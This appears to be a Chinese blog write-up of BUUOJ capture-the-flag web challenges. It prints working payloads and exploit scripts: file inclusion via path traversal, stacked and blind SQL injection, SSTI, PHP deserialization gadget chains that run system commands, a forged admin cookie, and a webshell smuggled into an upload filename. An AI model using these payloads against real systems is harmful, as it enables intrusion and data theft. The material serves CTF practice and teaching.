BUUOJ Web练手记录
最近发现北京联合大学的OJ平台特别不错,题目都是近期比赛的题,有些是在比赛中解出了的,有些没有解出刚好想要复现,这里简单记录下解题的思路过程,有时间练手就更新。
平台地址:https://buuoj.cn/
0x01 warmup
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
考点为 phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
payload:
file=hint.php?../../../../../../../ffffllllaaaagggg
0x02 随便注(强网杯线上题)
考点为堆叠注入,也就是以用分号执行多条sql注入语句,并且ban了select等查询关键字,不过题目环境设置默认存在一个select,所以逻辑就是在flag所在的表插入一个id列,将原表改名为其他,flag表改名为查询表,直接查询id=1,即可得到flag
查询表名语句:
1;show tables;
可以查看到存放flag的表1919810931114514和当前查询表words
payload:
1';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;rename table words to words1;rename table `1919810931114514` to words;desc words;
直接查询id=1即可得flag
0x03 easy_tornado(护网杯)
根据查看文件内容的url:/file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e 以及hint.txt中的提示内容:md5(cookie_secret+md5(filename))
可以很清楚该题得逻辑,令filename=/fllllllllllllag,找到cookie_secret,计算出filehash值即可,该题考点在于ssti,ssti点在/msg={{}}处,所以查看{{handle_settings}}可以得到相关的配置信息,其中
cookie_secret=M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r
用于计算filehash
<?php
$cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r';
$filename = '/fllllllllllllag';
echo md5($cookie_secret.md5($filename));
?>
#计算得filehash=70aed71508e50d160a73756a21e9953d
最终payload:
/file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d
0x04 Ciscn 总决赛 Laravel
laravel的1Day漏洞,按理说这题是很难的,只不过出题人留了个session文件,里面有payload,直接改下就可以用,虽然说现场时我是硬挖~
exploit:
<?php
namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));
payload:
O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A8%3A%22deferred%22%3Ba%3A1%3A%7Bs%3A2%3A%22aa%22%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7Ds%3A4%3A%22pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A1%3A%7Bs%3A15%3A%22%00%2A%00setInnerItem%22%3Bs%3A6%3A%22system%22%3B%7D%7D
比赛中修复是通过直接删除TagAwareAdapter中的__destruct魔术方法进行加固
0x05 Ciscn 总决赛 easyweb
漏洞点应该不是一个,解题时利用的是upload处的file_put_contents,由于会将文件名写入.log.php文件中,所以可以直接植入任意代码,中间就一个过来php,可以利用<?= ?>来执行php代码(这里一定要闭合),不过到达上传点需要先登录,在user.php和upload.php中都需要 username===admin 分析代码
function.php
function is_login()
{
global $username,$secret;
if (!isset($_COOKIE["username"]))
return false;
$username=decode($_COOKIE["username"],$secret);
return true;
}
写脚本计算cookie
<?php
function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
$secret="!*(fp60zoy";
echo encode('admin',$secret);
得到cookie['username'] = QE5FDx4=
到user.php中发包即可
......
Content-Disposition: form-data; name="file"; filename="<?= eval($_REQUEST[pass]);?>"
Content-Type: image/png
0x06 高明的黑客(强网杯线上题)
我解这题是通过爆破解的 ~~,写了一个脚本,抓取文件中$_GET和$_POST里的参数,然后通过发送请求包执行echo xxxxx;的命令,如果xxxxx出了,说明执行成功了,也就是找到后门了,结果真的跑出来了。
find.py
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2019-05-25 12:12:51
# @Last Modified by: Cyc1e
# @Last Modified time: 2019-05-25 12:23:34
import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
url = 'http://127.0.0.1/src/'+i
f = open('./src/'+i)
bb = f.read()
f.close()
rr = re.compile(r'(?<=_GET\[\').*(?=\'\])')
aa = rr.findall(bb)
for c in aa:
payload = url + '/?' + c + '=phpinfo();'
print payload
req.requests.get(payload)
if 'Windows NT C 6.1 build' in req.content:
print payload
exit();
最后找到是xk0SzyKwfzw.php,交互参数为:Efa5BVG
xk0SzyKwfzw.php
<?php
//......
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
其中$kDxfM->gHht 的值为 sYstEm,所以传个命令就好了
0x07 upload(强网杯线上题)
考点为信息收集+反序列化利用,直接访问www.tar.gz获得源码。
思路为:上传一个含有一句话木马的图片,通过反序列化漏洞将png图片修改为php文件
其中反序列化点在Index.php中
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
序列化点在Login.phph中
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
其中反序列化的参数值取自于cookie['user'],我们可以控制,并且在Prifile.php中
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
在不上传文件的情况下,即empty($_FILES)为真值时,触发upload_img()即可修改文件名
所以攻击链为Register中的__destruct ->Profile中的__call->__get->upload_img
exploit:
<?php
namespace app\web\controller;
//include('Index.php');
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
class Register
{
public $checker;
public $registed;
}
$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.png";
$check->checker->filename="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.php";
echo base64_encode(serialize($check));
在BUUOJ平台里没找到flag
0x08 Hack word
一道盲注题,语句:id=if(ascii(substr((select(flag)from(flag)),1,1))=102,2,1),其中select(xx)from(xx)的用法,需要知道列名才可以用,题目直接给了,所以直接用脚本跑就好了
# -*- coding: utf-8 -*-
import requests
url='http://web43.buuoj.cn/index.php'
ll = 'fqwertyuiopasdfghjklzxcvbnm}{1234567890'
flag=''
for i in range(1,50):
for j in ll:
cha = ord(j)
ss='if(ascii(substr((select(flag)from(flag)),%s,1))=%s,2,1)'%(i,cha)
sql={"id":ss}
req=requests.post(url=url,data=sql)
if "Do you want" in req.content.decode('UTF-8'):
flag+=j
print(flag)
break
print(flag)
0x09 piapiapia
访问www.zip可以拿到源码,所以主要就是代码审计的事情,不过在查看网页源码的时候,可以看到相关文件的base64值,所以思路也就是让photo对应的文件为config.php文件,就可以得到flag了。
0x0A admin (HCTF的题目)
这题一共有三个解法,题目源码在登入任意账号后到改密码页面有提示:https://github.com/woadsl1234/hctf_flask/,本题的主要考点在于Unicode欺骗,所以这里只记录该解法,其中routes.py
def register():
......
if request.method == 'POST':
name = strlower(form.username.data)
......
def login():
......
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
......
def change():
......
if request.method == 'POST':
name = strlower(session['name'])
经过了三次的strlower小写转换,其中strlow函数为
def strlower(username):
username = nodeprep.prepare(username)
return username
该版本的Twisted库对于Unicode中的Small Capital,例如ᴀ的转换过程为ᴀ -> A -> a,恰好代码中的注册,登录,改密码操作中执行的nodeprep.prepare()次数足够将ᴀᴅᴍɪɴ转成admin,也就是注册一个ᴀᴅᴍɪɴ账号,绕后登录后修改密码时修改的时admin账号的密码。该题有三个解法,其他解法阔以看看飘零兄写的文章:https://www.anquanke.com/post/id/164086